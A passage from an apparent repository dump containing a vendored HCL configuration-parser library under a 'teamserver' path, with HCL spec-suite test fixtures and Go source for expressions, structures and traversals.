mod      = number\n    mod_frac = number\n  })\n  logical_binary = map(object({\n    tt  = bool\n    tf  = bool\n    ft  = bool\n    ff  = bool\n  }))\n  logical_unary = map(object({\n    t   = bool\n    f   = bool\n  }))\n  conditional = object({\n    t   = string\n    f   = string\n  })\n})\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.hcl",
    "content": "# Numbers\nwhole_number                = 5\nfractional_number           = 3.2\nfractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459\n\n# Strings\nstring_ascii           = \"hello\"\nstring_unicode_bmp     = \"ЖЖ\"\nstring_unicode_astral  = \"👩‍👩‍👧‍👦\"\nstring_unicode_nonnorm = \"años\" # This is intentionally a combining tilde followed by n\n\n# Booleans\ntrue  = true\nfalse = false\n\n# Null\nnull = null\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.hcldec",
    "content": "object {\n  attr \"whole_number\" { type = any }\n  attr \"fractional_number\" { type = any }\n  attr \"fractional_number_precision\" { type = any }\n  attr \"string_ascii\" { type = any }\n  attr \"string_unicode_bmp\" { type = any }\n  attr \"string_unicode_astral\" { type = any }\n  attr \"string_unicode_nonnorm\" { type = any }\n  attr \"true\" { type = any }\n  attr \"false\" { type = any }\n  attr \"null\" { type = any }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/expressions/primitive_literals.t",
    "content": "result_type = object({\n  whole_number                = number\n  fractional_number           = number\n  fractional_number_precision = number\n  string_ascii                = string\n  string_unicode_bmp          = string\n  string_unicode_astral       = string\n  string_unicode_nonnorm      = string\n  true                        = bool\n  false                       = bool\n  null                        = any\n})\nresult = {\n  # Numbers\n  whole_number                = 5\n  fractional_number           = 3.2\n  fractional_number_precision = 3.14159265358979323846264338327950288419716939937510582097494459\n\n  # Strings\n  string_ascii = \"hello\"\n  string_unicode_bmp = \"ЖЖ\"\n  string_unicode_astral = \"👩‍👩‍👧‍👦\"\n  string_unicode_nonnorm = \"años\" # now a precomposed ñ, because HCL imposes NFC normalization\n  # FIXME: The above normalization test doesn't necessarily test what it thinks\n  # it is testing, because this file is also HCL and thus subject to\n  # normalization; as long as the parser normalizes consistently this could\n  # pass even if it's using a different normalization form.\n\n  # The left hand side of these are quoted to make it clear that we're expecting\n  # to get strings here, not really true/false/null.\n  \"true\"  = true\n  \"false\" = false\n  \"null\"  = null\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.hcl",
    "content": "a = \"a value\"\nb = \"b value\"\nc = \"c value\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.hcldec",
    "content": "object {\n  attr \"a\" {\n    type = string\n  }\n  attr \"b\" {\n    type = string\n  }\n  attr \"c\" {\n    type = string\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/expected.t",
    "content": "result_type = object({\n  a = string\n  b = string\n  c = string\n})\nresult = {\n  a = \"a value\"\n  b = \"b value\"\n  c = \"c value\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.hcl",
    "content": "a = \"a value\", b = \"b value\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.hcldec",
    "content": "literal {\n  value = null\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/singleline_bad.t",
    "content": "# This test verifies that comma-separated attributes on the same line are\n# reported as an error, rather than being parsed like an object constructor\n# expression.\n\ndiagnostics {\n  error {\n    # Message like \"missing newline after argument\" or \"each argument must be on its own line\"\n    from {\n      line   = 1\n      column = 14\n      byte   = 13\n    }\n    to {\n      line   = 1\n      column = 15\n      byte   = 14\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.hcl",
    "content": "a = \"a value\"\nb = \"b value\"\nc = \"c value\"\nd = \"d value\"\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.hcldec",
    "content": "object {\n  attr \"a\" {\n    type = string\n  }\n  attr \"b\" {\n    type = string\n  }\n  attr \"d\" {\n    type = string\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/attributes/unexpected.t",
    "content": "diagnostics {\n  error {\n    # An argument named \"c\" is not expected here.\n    from {\n      line   = 3\n      column = 1\n      byte   = 28\n    }\n    to {\n      line   = 3\n      column = 2\n      byte   = 29\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.hcl",
    "content": "a {}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.hcldec",
    "content": "block {\n  block_type = \"a\"\n  object {}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_empty_oneline.t",
    "content": "result_type = object({})\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.hcl",
    "content": "a {\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.hcldec",
    "content": "block {\n  block_type = \"a\"\n  object {}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_expected.t",
    "content": "result_type = object({})\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.hcl",
    "content": "a { b = \"foo\" }\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.hcldec",
    "content": "block {\n  block_type = \"a\"\n  object {\n    attr \"b\" {\n      type = string\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline.t",
    "content": "result_type = object({\n  b = string\n})\nresult = {\n  b = \"foo\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.hcl",
    "content": "a { b = \"foo\", c = \"bar\" }\na { b = \"foo\"\n}\na { b = \"foo\"\n  c = \"bar\" }\na { b = \"foo\"\n  c = \"bar\"\n}\na { d {} }\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.hcldec",
    "content": "block_list {\n  block_type = \"a\"\n  object {\n    attr \"b\" {\n      type = string\n    }\n    attr \"c\" {\n      type = string\n    }\n    block_list \"d\" {\n      object {}\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_oneline_invalid.t",
    "content": "diagnostics {\n  error {\n    # Message like \"Only one argument is allowed in a single-line block definition\"\n    from {\n      line   = 1\n      column = 14\n      byte   = 13\n    }\n    to {\n      line   = 1\n      column = 15\n      byte   = 14\n    }\n  }\n  error {\n    # Message like \"The closing brace for a single-line block definition must be on the same line\"\n    from {\n      line   = 2\n      column = 14\n      byte   = 40\n    }\n    to {\n      line   = 3\n      column = 1\n      byte   = 41\n    }\n  }\n  error {\n    # Message like \"The closing brace for a single-line block definition must be on the same line\"\n    from {\n      line   = 4\n      column = 14\n      byte   = 56\n    }\n    to {\n      line   = 5\n      column = 1\n      byte   = 57\n    }\n  }\n  error {\n    # Message like \"The closing brace for a single-line block definition must be on the same line\"\n    from {\n      line   = 6\n      column = 14\n      byte   = 84\n    }\n    to {\n      line   = 7\n      column = 1\n      byte   = 85\n    }\n  }\n  error {\n    # Message like \"A single-line block definition cannot contain another block definition\"\n    from {\n      line   = 9\n      column = 5\n      byte   = 103\n    }\n    to {\n      line   = 9\n      column = 8\n      byte   = 106\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.hcl",
    "content": "a {\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.hcldec",
    "content": "block {\n  block_type = \"a\"\n  object {}\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/specsuite/tests/structure/blocks/single_unclosed.t",
    "content": "diagnostics {\n  error {\n    from {\n      line   = 2\n      column = 1\n      byte   = 4\n    }\n    to {\n      line   = 2\n      column = 1\n      byte   = 4\n    }\n  }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/static_expr.go",
    "content": "package hcl\n\nimport (\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\ntype staticExpr struct {\n\tval cty.Value\n\trng Range\n}\n\n// StaticExpr returns an Expression that always evaluates to the given value.\n//\n// This is useful to substitute default values for expressions that are\n// not explicitly given in configuration and thus would otherwise have no\n// Expression to return.\n//\n// Since expressions are expected to have a source range, the caller must\n// provide one. Ideally this should be a real source range, but it can\n// be a synthetic one (with an empty-string filename) if no suitable range\n// is available.\nfunc StaticExpr(val cty.Value, rng Range) Expression {\n\treturn staticExpr{val, rng}\n}\n\nfunc (e staticExpr) Value(ctx *EvalContext) (cty.Value, Diagnostics) {\n\treturn e.val, nil\n}\n\nfunc (e staticExpr) Variables() []Traversal {\n\treturn nil\n}\n\nfunc (e staticExpr) Range() Range {\n\treturn e.rng\n}\n\nfunc (e staticExpr) StartRange() Range {\n\treturn e.rng\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/structure.go",
    "content": "package hcl\n\nimport (\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\n// File is the top-level node that results from parsing a HCL file.\ntype File struct {\n\tBody  Body\n\tBytes []byte\n\n\t// Nav is used to integrate with the \"hcled\" editor integration package,\n\t// and with diagnostic information formatters. It is not for direct use\n\t// by a calling application.\n\tNav interface{}\n}\n\n// Block represents a nested block within a Body.\ntype Block struct {\n\tType   string\n\tLabels []string\n\tBody   Body\n\n\tDefRange    Range   // Range that can be considered the \"definition\" for seeking in an editor\n\tTypeRange   Range   // Range for the block type declaration specifically.\n\tLabelRanges []Range // Ranges for the label values specifically.\n}\n\n// Blocks is a sequence of Block.\ntype Blocks []*Block\n\n// Attributes is a set of attributes keyed by their names.\ntype Attributes map[string]*Attribute\n\n// Body is a container for attributes and blocks. It serves as the primary\n// unit of hierarchical structure within configuration.\n//\n// The content of a body cannot be meaningfully interpreted without a schema,\n// so Body represents the raw body content and has methods that allow the\n// content to be extracted in terms of a given schema.\ntype Body interface {\n\t// Content verifies that the entire body content conforms to the given\n\t// schema and then returns it, and/or returns diagnostics. The returned\n\t// body content is valid if non-nil, regardless of whether Diagnostics\n\t// are provided, but diagnostics should still be eventually shown to\n\t// the user.\n\tContent(schema *BodySchema) (*BodyContent, Diagnostics)\n\n\t// PartialContent is like Content except that it permits the configuration\n\t// to contain additional blocks or attributes not specified in the\n\t// schema. If any are present, the returned Body is non-nil and contains\n\t// the remaining items from the body that were not selected by the schema.\n\tPartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics)\n\n\t// JustAttributes attempts to interpret all of the contents of the body\n\t// as attributes, allowing for the contents to be accessed without a priori\n\t// knowledge of the structure.\n\t//\n\t// The behavior of this method depends on the body's source language.\n\t// Some languages, like JSON, can't distinguish between attributes and\n\t// blocks without schema hints, but for languages that _can_ error\n\t// diagnostics will be generated if any blocks are present in the body.\n\t//\n\t// Diagnostics may be produced for other reasons too, such as duplicate\n\t// declarations of the same attribute.\n\tJustAttributes() (Attributes, Diagnostics)\n\n\t// MissingItemRange returns a range that represents where a missing item\n\t// might hypothetically be inserted. This is used when producing\n\t// diagnostics about missing required attributes or blocks. Not all bodies\n\t// will have an obvious single insertion point, so the result here may\n\t// be rather arbitrary.\n\tMissingItemRange() Range\n}\n\n// BodyContent is the result of applying a BodySchema to a Body.\ntype BodyContent struct {\n\tAttributes Attributes\n\tBlocks     Blocks\n\n\tMissingItemRange Range\n}\n\n// Attribute represents an attribute from within a body.\ntype Attribute struct {\n\tName string\n\tExpr Expression\n\n\tRange     Range\n\tNameRange Range\n}\n\n// Expression is a literal value or an expression provided in the\n// configuration, which can be evaluated within a scope to produce a value.\ntype Expression interface {\n\t// Value returns the value resulting from evaluating the expression\n\t// in the given evaluation context.\n\t//\n\t// The context may be nil, in which case the expression may contain\n\t// only constants and diagnostics will be produced for any non-constant\n\t// sub-expressions. (The exact definition of this depends on the source\n\t// language.)\n\t//\n\t// The context may instead be set but have either its Variables or\n\t// Functions maps set to nil, in which case only use of these features\n\t// will return diagnostics.\n\t//\n\t// Different diagnostics are provided depending on whether the given\n\t// context maps are nil or empty. In the former case, the message\n\t// tells the user that variables/functions are not permitted at all,\n\t// while in the latter case usage will produce a \"not found\" error for\n\t// the specific symbol in question.\n\tValue(ctx *EvalContext) (cty.Value, Diagnostics)\n\n\t// Variables returns a list of variables referenced in the receiving\n\t// expression. These are expressed as absolute Traversals, so may include\n\t// additional information about how the variable is used, such as\n\t// attribute lookups, which the calling application can potentially use\n\t// to only selectively populate the scope.\n\tVariables() []Traversal\n\n\tRange() Range\n\tStartRange() Range\n}\n\n// OfType filters the receiving block sequence by block type name,\n// returning a new block sequence including only the blocks of the\n// requested type.\nfunc (els Blocks) OfType(typeName string) Blocks {\n\tret := make(Blocks, 0)\n\tfor _, el := range els {\n\t\tif el.Type == typeName {\n\t\t\tret = append(ret, el)\n\t\t}\n\t}\n\treturn ret\n}\n\n// ByType transforms the receiving block sequence into a map from type\n// name to block sequences of only that type.\nfunc (els Blocks) ByType() map[string]Blocks {\n\tret := make(map[string]Blocks)\n\tfor _, el := range els {\n\t\tty := el.Type\n\t\tif ret[ty] == nil {\n\t\t\tret[ty] = make(Blocks, 0, 1)\n\t\t}\n\t\tret[ty] = append(ret[ty], el)\n\t}\n\treturn ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/structure_at_pos.go",
    "content": "package hcl\n\n// -----------------------------------------------------------------------------\n// The methods in this file all have the general pattern of making a best-effort\n// to find one or more constructs that contain a given source position.\n//\n// These all operate by delegating to an optional method of the same name and\n// signature on the file's root body, allowing each syntax to potentially\n// provide its own implementations of these. For syntaxes that don't implement\n// them, the result is always nil.\n// -----------------------------------------------------------------------------\n\n// BlocksAtPos attempts to find all of the blocks that contain the given\n// position, ordered so that the outermost block is first and the innermost\n// block is last. This is a best-effort method that may not be able to produce\n// a complete result for all positions or for all HCL syntaxes.\n//\n// If the returned slice is non-empty, the first element is guaranteed to\n// represent the same block as would be the result of OutermostBlockAtPos and\n// the last element the result of InnermostBlockAtPos. However, the\n// implementation may return two different objects describing the same block,\n// so comparison by pointer identity is not possible.\n//\n// The result is nil if no blocks at all contain the given position.\nfunc (f *File) BlocksAtPos(pos Pos) []*Block {\n\t// The root body of the file must implement this interface in order\n\t// to support BlocksAtPos.\n\ttype Interface interface {\n\t\tBlocksAtPos(pos Pos) []*Block\n\t}\n\n\timpl, ok := f.Body.(Interface)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn impl.BlocksAtPos(pos)\n}\n\n// OutermostBlockAtPos attempts to find a top-level block in the receiving file\n// that contains the given position. This is a best-effort method that may not\n// be able to produce a result for all positions or for all HCL syntaxes.\n//\n// The result is nil if no single block could be selected for any reason.\nfunc (f *File) OutermostBlockAtPos(pos Pos) *Block {\n\t// The root body of the file must implement this interface in order\n\t// to support OutermostBlockAtPos.\n\ttype Interface interface {\n\t\tOutermostBlockAtPos(pos Pos) *Block\n\t}\n\n\timpl, ok := f.Body.(Interface)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn impl.OutermostBlockAtPos(pos)\n}\n\n// InnermostBlockAtPos attempts to find the most deeply-nested block in the\n// receiving file that contains the given position. This is a best-effort\n// method that may not be able to produce a result for all positions or for\n// all HCL syntaxes.\n//\n// The result is nil if no single block could be selected for any reason.\nfunc (f *File) InnermostBlockAtPos(pos Pos) *Block {\n\t// The root body of the file must implement this interface in order\n\t// to support InnermostBlockAtPos.\n\ttype Interface interface {\n\t\tInnermostBlockAtPos(pos Pos) *Block\n\t}\n\n\timpl, ok := f.Body.(Interface)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn impl.InnermostBlockAtPos(pos)\n}\n\n// OutermostExprAtPos attempts to find an expression in the receiving file\n// that contains the given position. This is a best-effort method that may not\n// be able to produce a result for all positions or for all HCL syntaxes.\n//\n// Since expressions are often nested inside one another, this method returns\n// the outermost \"root\" expression that is not contained by any other.\n//\n// The result is nil if no single expression could be selected for any reason.\nfunc (f *File) OutermostExprAtPos(pos Pos) Expression {\n\t// The root body of the file must implement this interface in order\n\t// to support OutermostExprAtPos.\n\ttype Interface interface {\n\t\tOutermostExprAtPos(pos Pos) Expression\n\t}\n\n\timpl, ok := f.Body.(Interface)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn impl.OutermostExprAtPos(pos)\n}\n\n// AttributeAtPos attempts to find an attribute definition in the receiving\n// file that contains the given position. This is a best-effort method that may\n// not be able to produce a result for all positions or for all HCL syntaxes.\n//\n// The result is nil if no single attribute could be selected for any reason.\nfunc (f *File) AttributeAtPos(pos Pos) *Attribute {\n\t// The root body of the file must implement this interface in order\n\t// to support OutermostExprAtPos.\n\ttype Interface interface {\n\t\tAttributeAtPos(pos Pos) *Attribute\n\t}\n\n\timpl, ok := f.Body.(Interface)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn impl.AttributeAtPos(pos)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/traversal.go",
    "content": "package hcl\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\n// A Traversal is a description of traversing through a value through a\n// series of operations such as attribute lookup, index lookup, etc.\n//\n// It is used to look up values in scopes, for example.\n//\n// The traversal operations are implementations of interface Traverser.\n// This is a closed set of implementations, so the interface cannot be\n// implemented from outside this package.\n//\n// A traversal can be absolute (its first value is a symbol name) or relative\n// (starts from an existing value).\ntype Traversal []Traverser\n\n// TraversalJoin appends a relative traversal to an absolute traversal to\n// produce a new absolute traversal.\nfunc TraversalJoin(abs Traversal, rel Traversal) Traversal {\n\tif abs.IsRelative() {\n\t\tpanic(\"first argument to TraversalJoin must be absolute\")\n\t}\n\tif !rel.IsRelative() {\n\t\tpanic(\"second argument to TraversalJoin must be relative\")\n\t}\n\n\tret := make(Traversal, len(abs)+len(rel))\n\tcopy(ret, abs)\n\tcopy(ret[len(abs):], rel)\n\treturn ret\n}\n\n// TraverseRel applies the receiving traversal to the given value, returning\n// the resulting value. This is supported only for relative traversals,\n// and will panic if applied to an absolute traversal.\nfunc (t Traversal) TraverseRel(val cty.Value) (cty.Value, Diagnostics) {\n\tif !t.IsRelative() {\n\t\tpanic(\"can't use TraverseRel on an absolute traversal\")\n\t}\n\n\tcurrent := val\n\tvar diags Diagnostics\n\tfor _, tr := range t {\n\t\tvar newDiags Diagnostics\n\t\tcurrent, newDiags = tr.TraversalStep(current)\n\t\tdiags = append(diags, newDiags...)\n\t\tif newDiags.HasErrors() {\n\t\t\treturn cty.DynamicVal, diags\n\t\t}\n\t}\n\treturn current, diags\n}\n\n// TraverseAbs applies the receiving traversal to the given eval context,\n// returning the resulting value. This is supported only for absolute\n// traversals, and will panic if applied to a relative traversal.\nfunc (t Traversal) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) {\n\tif t.IsRelative() {\n\t\tpanic(\"can't use TraverseAbs on a relative traversal\")\n\t}\n\n\tsplit := t.SimpleSplit()\n\troot := split.Abs[0].(TraverseRoot)\n\tname := root.Name\n\n\tthisCtx := ctx\n\thasNonNil := false\n\tfor thisCtx != nil {\n\t\tif thisCtx.Variables == nil {\n\t\t\tthisCtx = thisCtx.parent\n\t\t\tcontinue\n\t\t}\n\t\thasNonNil = true\n\t\tval, exists := thisCtx.Variables[name]\n\t\tif exists {\n\t\t\treturn split.Rel.TraverseRel(val)\n\t\t}\n\t\tthisCtx = thisCtx.parent\n\t}\n\n\tif !hasNonNil {\n\t\treturn cty.DynamicVal, Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: DiagError,\n\t\t\t\tSummary:  \"Variables not allowed\",\n\t\t\t\tDetail:   \"Variables may not be used here.\",\n\t\t\t\tSubject:  &root.SrcRange,\n\t\t\t},\n\t\t}\n\t}\n\n\tsuggestions := make([]string, 0, len(ctx.Variables))\n\tthisCtx = ctx\n\tfor thisCtx != nil {\n\t\tfor k := range thisCtx.Variables {\n\t\t\tsuggestions = append(suggestions, k)\n\t\t}\n\t\tthisCtx = thisCtx.parent\n\t}\n\tsuggestion := nameSuggestion(name, suggestions)\n\tif suggestion != \"\" {\n\t\tsuggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n\t}\n\n\treturn cty.DynamicVal, Diagnostics{\n\t\t{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary:  \"Unknown variable\",\n\t\t\tDetail:   fmt.Sprintf(\"There is no variable named %q.%s\", name, suggestion),\n\t\t\tSubject:  &root.SrcRange,\n\t\t},\n\t}\n}\n\n// IsRelative returns true if the receiver is a relative traversal, or false\n// otherwise.\nfunc (t Traversal) IsRelative() bool {\n\tif len(t) == 0 {\n\t\treturn true\n\t}\n\tif _, firstIsRoot := t[0].(TraverseRoot); firstIsRoot {\n\t\treturn false\n\t}\n\treturn true\n}\n\n// SimpleSplit returns a TraversalSplit where the name lookup is the absolute\n// part and the remainder is the relative part. Supported only for\n// absolute traversals, and will panic if applied to a relative traversal.\n//\n// This can be used by applications that have a relatively-simple variable\n// namespace where only the top-level is directly populated in the scope, with\n// everything else handled by relative lookups from those initial values.\nfunc (t Traversal) SimpleSplit() TraversalSplit {\n\tif t.IsRelative() {\n\t\tpanic(\"can't use SimpleSplit on a relative traversal\")\n\t}\n\treturn TraversalSplit{\n\t\tAbs: t[0:1],\n\t\tRel: t[1:],\n\t}\n}\n\n// RootName returns the root name for a absolute traversal. Will panic if\n// called on a relative traversal.\nfunc (t Traversal) RootName() string {\n\tif t.IsRelative() {\n\t\tpanic(\"can't use RootName on a relative traversal\")\n\n\t}\n\treturn t[0].(TraverseRoot).Name\n}\n\n// SourceRange returns the source range for the traversal.\nfunc (t Traversal) SourceRange() Range {\n\tif len(t) == 0 {\n\t\t// Nothing useful to return here, but we'll return something\n\t\t// that's correctly-typed at least.\n\t\treturn Range{}\n\t}\n\n\treturn RangeBetween(t[0].SourceRange(), t[len(t)-1].SourceRange())\n}\n\n// TraversalSplit represents a pair of traversals, the first of which is\n// an absolute traversal and the second of which is relative to the first.\n//\n// This is used by calling applications that only populate prefixes of the\n// traversals in the scope, with Abs representing the part coming from the\n// scope and Rel representing the remaining steps once that part is\n// retrieved.\ntype TraversalSplit struct {\n\tAbs Traversal\n\tRel Traversal\n}\n\n// TraverseAbs traverses from a scope to the value resulting from the\n// absolute traversal.\nfunc (t TraversalSplit) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) {\n\treturn t.Abs.TraverseAbs(ctx)\n}\n\n// TraverseRel traverses from a given value, assumed to be the result of\n// TraverseAbs on some scope, to a final result for the entire split traversal.\nfunc (t TraversalSplit) TraverseRel(val cty.Value) (cty.Value, Diagnostics) {\n\treturn t.Rel.TraverseRel(val)\n}\n\n// Traverse is a convenience function to apply TraverseAbs followed by\n// TraverseRel.\nfunc (t TraversalSplit) Traverse(ctx *EvalContext) (cty.Value, Diagnostics) {\n\tv1, diags := t.TraverseAbs(ctx)\n\tif diags.HasErrors() {\n\t\treturn cty.DynamicVal, diags\n\t}\n\tv2, newDiags := t.TraverseRel(v1)\n\tdiags = append(diags, newDiags...)\n\treturn v2, diags\n}\n\n// Join concatenates together the Abs and Rel parts to produce a single\n// absolute traversal.\nfunc (t TraversalSplit) Join() Traversal {\n\treturn TraversalJoin(t.Abs, t.Rel)\n}\n\n// RootName returns the root name for the absolute part of the split.\nfunc (t TraversalSplit) RootName() string {\n\treturn t.Abs.RootName()\n}\n\n// A Traverser is a step within a Traversal.\ntype Traverser interface {\n\tTraversalStep(cty.Value) (cty.Value, Diagnostics)\n\tSourceRange() Range\n\tisTraverserSigil() isTraverser\n}\n\n// Embed this in a struct to declare it as a Traverser\ntype isTraverser struct {\n}\n\nfunc (tr isTraverser) isTraverserSigil() isTraverser {\n\treturn isTraverser{}\n}\n\n// TraverseRoot looks up a root name in a scope. It is used as the first step\n// of an absolute Traversal, and cannot itself be traversed directly.\ntype TraverseRoot struct {\n\tisTraverser\n\tName     string\n\tSrcRange Range\n}\n\n// TraversalStep on a TraverseName immediately panics, because absolute\n// traversals cannot be directly traversed.\nfunc (tn TraverseRoot) TraversalStep(cty.Value) (cty.Value, Diagnostics) {\n\tpanic(\"Cannot traverse an absolute traversal\")\n}\n\nfunc (tn TraverseRoot) SourceRange() Range {\n\treturn tn.SrcRange\n}\n\n// TraverseAttr looks up an attribute in its initial value.\ntype TraverseAttr struct {\n\tisTraverser\n\tName     string\n\tSrcRange Range\n}\n\nfunc (tn TraverseAttr) TraversalStep(val cty.Value) (cty.Value, Diagnostics) {\n\treturn GetAttr(val, tn.Name, &tn.SrcRange)\n}\n\nfunc (tn TraverseAttr) SourceRange() Range {\n\treturn tn.SrcRange\n}\n\n// TraverseIndex applies the index operation to its initial value.\ntype TraverseIndex struct {\n\tisTraverser\n\tKey      cty.Value\n\tSrcRange Range\n}\n\nfunc (tn TraverseIndex) TraversalStep(val cty.Value) (cty.Value, Diagnostics) {\n\treturn Index(val, tn.Key, &tn.SrcRange)\n}\n\nfunc (tn TraverseIndex) SourceRange() Range {\n\treturn tn.SrcRange\n}\n\n// TraverseSplat applies the splat operation to its initial value.\ntype TraverseSplat struct {\n\tisTraverser\n\tEach     Traversal\n\tSrcRange Range\n}\n\nfunc (tn TraverseSplat) TraversalStep(val cty.Value) (cty.Value, Diagnostics) {\n\tpanic(\"TraverseSplat not yet implemented\")\n}\n\nfunc (tn TraverseSplat) SourceRange() Range {\n\treturn tn.SrcRange\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/traversal_for_expr.go",
    "content": "package hcl\n\n// AbsTraversalForExpr attempts to interpret the given expression as\n// an absolute traversal, or returns error diagnostic(s) if that is\n// not possible for the given expression.\n//\n// A particular Expression implementation can support this function by\n// offering a method called AsTraversal that takes no arguments and\n// returns either a valid absolute traversal or nil to indicate that\n// no traversal is possible. Alternatively, an implementation can support\n// UnwrapExpression to delegate handling of this function to a wrapped\n// Expression object.\n//\n// In most cases the calling application is interested in the value\n// that results from an expression, but in rarer cases the application\n// needs to see the the name of the variable and subsequent\n// attributes/indexes itself, for example to allow users to give references\n// to the variables themselves rather than to their values. An implementer\n// of this function should at least support attribute and index steps.\nfunc AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) {\n\ttype asTraversal interface {\n\t\tAsTraversal() Traversal\n\t}\n\n\tphysExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool {\n\t\t_, supported := expr.(asTraversal)\n\t\treturn supported\n\t})\n\n\tif asT, supported := physExpr.(asTraversal); supported {\n\t\tif traversal := asT.AsTraversal(); traversal != nil {\n\t\t\treturn traversal, nil\n\t\t}\n\t}\n\treturn nil, Diagnostics{\n\t\t&Diagnostic{\n\t\t\tSeverity: DiagError,\n\t\t\tSummary:  \"Invalid expression\",\n\t\t\tDetail:   \"A single static variable reference is required: only attribute access and indexing with constant keys. No calculations, function calls, template expressions, etc are allowed here.\",\n\t\t\tSubject:  expr.Range().Ptr(),\n\t\t},\n\t}\n}\n\n// RelTraversalForExpr is similar to AbsTraversalForExpr but it returns\n// a relative traversal instead. Due to the nature of HCL expressions, the\n// first element of the returned traversal is always a TraverseAttr, and\n// then it will be followed by zero or more other expressions.\n//\n// Any expression accepted by AbsTraversalForExpr is also accepted by\n// RelTraversalForExpr.\nfunc RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) {\n\ttraversal, diags := AbsTraversalForExpr(expr)\n\tif len(traversal) > 0 {\n\t\tret := make(Traversal, len(traversal))\n\t\tcopy(ret, traversal)\n\t\troot := traversal[0].(TraverseRoot)\n\t\tret[0] = TraverseAttr{\n\t\t\tName:     root.Name,\n\t\t\tSrcRange: root.SrcRange,\n\t\t}\n\t\treturn ret, diags\n\t}\n\treturn traversal, diags\n}\n\n// ExprAsKeyword attempts to interpret the given expression as a static keyword,\n// returning the keyword string if possible, and the empty string if not.\n//\n// A static keyword, for the sake of this function, is a single identifier.\n// For example, the following attribute has an expression that would produce\n// the keyword \"foo\":\n//\n//     example = foo\n//\n// This function is a variant of AbsTraversalForExpr, which uses the same\n// interface on the given expression. This helper constrains the result\n// further by requiring only a single root identifier.\n//\n// This function is intended to be used with the following idiom, to recognize\n// situations where one of a fixed set of keywords is required and arbitrary\n// expressions are not allowed:\n//\n//     switch hcl.ExprAsKeyword(expr) {\n//     case \"allow\":\n//         // (take suitable action for keyword \"allow\")\n//     case \"deny\":\n//         // (take suitable action for keyword \"deny\")\n//     default:\n//         diags = append(diags, &hcl.Diagnostic{\n//             // ... \"invalid keyword\" diagnostic message ...\n//         })\n//     }\n//\n// The above approach will generate the same message for both the use of an\n// unrecognized keyword and for not using a keyword at all, which is usually\n// reasonable if the message specifies that the given value must be a keyword\n// from that fixed list.\n//\n// Note that in the native syntax the keywords \"true\", \"false\", and \"null\" are\n// recognized as literal values during parsing and so these reserved words\n// cannot not be accepted as keywords by this function.\n//\n// Since interpreting an expression as a keyword bypasses usual expression\n// evaluation, it should be used sparingly for situations where e.g. one of\n// a fixed set of keywords is used in a structural way in a special attribute\n// to affect the further processing of a block.\nfunc ExprAsKeyword(expr Expression) string {\n\ttype asTraversal interface {\n\t\tAsTraversal() 